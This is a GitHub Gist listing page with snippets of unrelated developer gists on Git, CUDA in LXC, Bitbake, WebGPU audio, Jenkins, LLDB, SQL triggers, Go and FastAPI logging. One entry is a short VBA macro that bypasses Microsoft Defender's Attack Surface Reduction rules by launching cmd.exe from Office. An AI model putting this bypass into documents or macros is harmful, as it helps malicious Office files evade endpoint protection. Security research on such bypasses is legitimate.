Skip to content

Instantly share code, notes, and snippets.

@victorsenam
victorsenam / dicionario-git.md
Last active April 25, 2024 21:03
Dicionário básico de Git e GitHub para iniciantes

Dicionário Git e GitHub

Os conceitos vão ser apresentados da forma mais básica possível para que se possa entender a ideia primordial do software. Os comandos serão baseados num terminal UNIX. Ou seja, funcionarão em linux e mac.

Links interessantes

http://rogerdudler.github.io/git-guide/index.pt_BR.html

Repositório

O repositório é a pasta do projeto. Todo repositório tem uma pasta oculta .git. Isso é o que mostra para o git e para você que existe um repositório naquela pasta.

@kuanghan
kuanghan / athena_cuda.md
Last active April 25, 2024 21:02
Install NVIDIA driver & CUDA inside an LXC container running Ubuntu 16.04

Installing NVIDIA Driver & CUDA inside an LXC container running Ubuntu 16.04 on a neuroscience computing server.

Introduction: I was trying to run some neuroscience image processing commands that uses NVIDIA GPU. The challenge is that most of our computation will be run inside an LXC container running Ubuntu 16.04 (the host runs Ubuntu 16.04 as well). Installing the NVIDIA driver on the host is not so hard, but doing it inside the LXC container is much more challenging.

I already have an unprivileged container running, so I will not repeat the steps to create an LXC container here.

Our graphics card is NVIDIA GeForce GTX 1080 Ti.

Here are the main steps:

Bitbake Cheatsheet

Verbose as possible

bitbake -vDDD your-recipe

List recipes

bitbake -s
@JolifantoBambla
JolifantoBambla / webgpu-audio.html
Last active April 25, 2024 21:01
Create audio data in WebGPU compute shaders
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebGPU Audio</title>
</head>
<body>
<button type="button" id="play">Play</button>
<script type="module">
const code = `
@infosecn1nja
infosecn1nja / ASR Rules Bypass.vba
Last active April 25, 2024 21:00
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
@whittlec
whittlec / gist:6112643
Last active April 25, 2024 20:56
Install plugins to Jenkins via script console
for (plugin in ["ant",
"artifactdeployer",
"build-failure-analyzer",
"build-name-setter",
"build-pipeline-plugin",
"build-timeout",
"claim",
"clone-workspace-scm",
"cobertura",
"collapsing-console-sections",
@laytan
laytan / odin.py
Created April 25, 2024 17:40
LLDB script to visualise Odin slices, maps, and strings
import lldb
def is_slice_type(t, internal_dict):
return t.name.startswith("[]") or t.name.startswith("[dynamic]")
class SliceChildProvider:
def __init__(self, val, dict):
self.val = val
def num_children(self):
@chelseadole
chelseadole / duplicate_to_partitioned_table.sql
Created October 1, 2023 19:36
plpgsql function returning a trigger which duplicates INSERT/UPDATE/DELETE activity to a second partitioned table. Requires inputting correct table names & column values for use.
-- This function is designed to duplicate all live INSERTS/UPDATES/DELETES from one table (referred to as "source_table_name"
-- to a second partitioned table (referred to as "destination_table_name"). The function should be set to trigger after insert/
-- update/delete on the source table.
-- This function is designed to be leveraged for partitioned table migration through this method:
-- 1) Create an empty partitioned copy of the "source_table_name". Alter primary key as necessary, as partitioned Postgres
-- tables do not support unique/primary keys not included in the partition key.
-- 2) Create the following function, and attach it as a trigger to "source_table_name". At this point, incoming new DML is
-- being copied successfully to the partitioned table, so only historical data will need to be backfilled.
-- 3) Target rows in "source_table_name" with an updated_at value BEFORE the trigger was attached, and backfill them into
@jmackie
jmackie / reader.go
Last active April 25, 2024 20:51
Pass a single io.Reader to multiple goroutines
/*
Package fan is a little concurrent io experiment.
Example Use Case
----------------
You have a function that takes a single io.Reader as an argument. You would like
to pass that reader to several processing functions. You could just make the
function accept an io.ReadSeeker, invoke each function serially in a for loop,
seeking after each call. But that's not cool.
@liviaerxin
liviaerxin / README.md
Last active April 25, 2024 20:50
FastAPI and Uvicorn Logging #python #fastapi #uvicorn #logging

FastAPI and Uvicorn Logging

When running FastAPI app, all the logs in console are from Uvicorn and they do not have timestamp and other useful information. As Uvicorn applies python logging module, we can override Uvicorn logging formatter by applying a new logging configuration.

Meanwhile, it's able to unify the your endpoints logging with the Uvicorn logging by configuring all of them in the config file log_conf.yaml.

Before overriding:

uvicorn main:app --reload